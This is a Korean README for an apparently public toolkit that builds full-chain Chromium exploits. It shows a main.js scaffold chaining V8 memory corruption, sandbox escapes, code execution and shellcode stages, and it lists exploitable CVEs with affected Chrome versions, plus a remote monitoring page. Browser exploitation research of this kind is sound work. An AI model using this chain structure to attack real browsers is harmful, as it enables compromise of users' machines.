
Chromium 취약점을 안정적인 크로스 플랫폼 풀체인 익스플로잇으로 무기화하는 툴킷
Chromium 취약점을 안정적이고 크로스 플랫폼의 전체 체인 익스플로잇으로 무기화하기 위한 툴킷입니다.
이 프로젝트는 강력한 헬퍼 스크립트 세트를 제공하지만, 자체적인 취약점은 직접 준비해야 합니다. 최소한의 익스플로잇 프리미티브를 구현하는 것은 사용자의 몫이며, 나머지는 툴킷이 처리합니다.
커스텀 익스플로잇 체인은 main.js 스크립트 파일에 의존하며, 이를 통해 툴킷의 헬퍼 스크립트와 함께 취약점을 선택적으로 포함할 수 있습니다:
// Exploit settings
let loglevel = 5;
let run_in_worker = false;
// Exploit chain
async function main() {
// Common helpers
await include("kit/common/convert.js");
await include("kit/common/dom.js");
await include("kit/common/stability.js");
await include("kit/common/v8-utils.js");
await include("kit/common/versions.js");
await include("kit/common/wasm-module-builder.js");
// Symbols database for your exploit chain
await include("vulns/symbols.js");
// Early fingerprinting
await include("kit/fingerprint/d8.js");
await include("kit/fingerprint/useragent.js");
// Your initial V8 memory corruption
// This should craft addrOf() & fakeObj() primitives
await include("vulns/memcor/your-code.js");
// Bootstrap stage-2 primitives & gain memory read/write inside the V8 SBX
await include("kit/v8/cage.js");
// Your V8 sandbox escape
// This should craft arbRead() & arbWrite() primitives AND leak some pointers
await include("vulns/v8sbx/your-code.js");
// Utils to manipulate the renderer memory
await include("kit/v8/memory.js");
// Achieve code execution (automatically select the best method based on the leaked pointers)
await include("kit/v8/rwx/egghunt.js");
await include("kit/v8/rwx/isolate.js");
await include("kit/v8/rwx/partitionalloc.js");
await include("kit/v8/rwx/wasmrwx.js");
await include("kit/v8/rwx.js");
// Bootstrap stage-3 primitives & provide generic shellcodes
await include("kit/shellcodes/x64.js");
await include("kit/shellcodes/x64-win.js");
await include("kit/shellcodes/x64-linux.js");
// Precise fingerprinting
await include("kit/fingerprint/win.js");
await include("kit/fingerprint/linux.js");
// Enable MojoJS and other protected flags
await include("kit/renderer/mojo.js");
// Your sandbox escape
await include("vulns/sbx/your-code.js");
}
/*
Other customizable features are implemented here
(logging, clean exit handling, exploit reloading, scripts execution context...)
...
*/
사용 가능한 기능에 대한 포괄적인 개요는 문서를 참조하세요.
index.html에 테스트용 웹페이지가 제공됩니다.
이 페이지는 로그를 출력하고, 크래시를 처리하며, 메인 스크립트가 프로젝트 하위 폴더의 파일을 포함할 수 있게 합니다.
python3 server.py를 실행한 후 http://localhost:8000으로 접속하여 로컬에서 실행할 수 있습니다.
monitor.html 웹페이지는 원격으로 익스플로잇을 모니터링하고 테스트할 수 있는 간단한 인터페이스를 제공합니다.
원격 호스트, 익스플로잇 로그, 오류 통계를 표시합니다.
또한 익스플로잇 재로드와 스트레스 테스트 모드를 포함한 명령을 원격 호스트에 보낼 수 있습니다.
초기 익스플로잇 개발 단계에서는 d8에서 메인 익스플로잇 스크립트를 실행할 수도 있습니다: d8.exe main.js.
익스플로잇 체인이 준비되면 다양한 작업을 자동화하는 도구가 제공됩니다:
build.py — 익스플로잇을 단일 스크립트로 빌드download.py — 특정 Google Chrome 릴리스 다운로드symbols.py — 자동화된 PDB 파싱툴킷의 기능을 보여주기 위해 공개 취약점에 대한 일부 익스플로잇이 제공됩니다:
| 취약점 | 영향을 받는 버전 (Chrome Stable) | 세부 사항 |
|---|---|---|
| CVE-2024-11114 | 94 - 130 (Windows 전용) | startDragging() Mojo IPC 인터페이스를 사용하여 마우스를 제어하고 다운로드된 파일을 실행하여 샌드박스를 탈출할 수 있음 |
기본 main.js에 데모용 익스플로잇 체인이 제공됩니다. 이 체인은 다음 취약점에 의존합니다:
이 익스플로잇 체인은 Chrome 130 안정 버전과 130.0.6723.160까지의 확장 릴리스에서 기본 설정 그대로 작동합니다. 심볼을 추가하면 M128, M129, M131 (< 131.0.6778.264)로 쉽게 확장할 수 있습니다.
익스플로잇은 모니터링 웹페이지에서 원격으로 테스트할 수도 있습니다:

이 툴킷은 엄격히 보안 연구 목적으로만 제공됩니다. 툴킷 자체만으로는 Chromium 프로젝트의 비공개 취약점을 익스플로잇할 수 있는 자료를 제공하지 않습니다. 악의적인 목적으로 이 툴킷을 사용하는 것은 전적으로 사용자의 책임입니다.
공개 릴리스는 GNU AGPLv3 조건에 따라 라이선스가 부여됩니다. 특히, 이 툴킷을 기반으로 한 비공개 익스플로잇의 거래는 이러한 조건에 따라 허용되지 않습니다. 첫 공개 릴리스 이전에 작성된 커밋은 라이선스가 없을 수 있으며 기본 저작권법의 보호를 받습니다.
이 프로젝트에는 타사 라이선스 구성 요소가 포함되어 있습니다: 자세한 내용은 여기를 참조하세요.
| 취약점 | 영향을 받는 버전 (Chrome Stable) | 세부 사항 |
|---|
| CVE-2024-7971 | <= 127 | Liftoff의 ParallelMove 중 WASM 타입 혼동 |
| CVE-2025-0291 | 128 - 131 (< 131.0.6778.264, 취약한 컴포넌트는 Finch를 통해 배포됨) | 단일 블록 루프에서 Turboshaft의 WasmGCTypeAnalyzer 타입 혼동 |
| CVE-2025-2135 | 133 - 134 (< 134.0.6998.88) | TransitionElementsKindOrCheckMap에서 별칭 객체에 대한 타입 혼동 |
| CVE-2025-5419 | <= 136 (133부터 Finch 킬 스위치) | 동적 인덱스에 대한 잘못된 store-store 제거로 인한 경계를 벗어난 메모리 접근 |
| 취약점 | 영향을 받는 버전 (Chrome Stable) | 세부 사항 |
|---|
| 352689356 | <= 131 | 인라인되지 않은 TurboFan call_ref에서 WASM 함수 시그니처 혼동 |
| 379140430 | <= 132 | 인샌드박스 Tuple2 손상을 동반한 WasmToJsWrapper 계층 업에서의 시그니처 타입 혼동 |
| 395659804 | <= 134 | OSR DeoptimizationData 혼동을 통한 임의 코드 실행 |
| 421403261 | 134 - 137 (< 137.0.7151.119, x64 전용) | Liftoff에서 시그니처 해시 i32/i64 충돌 |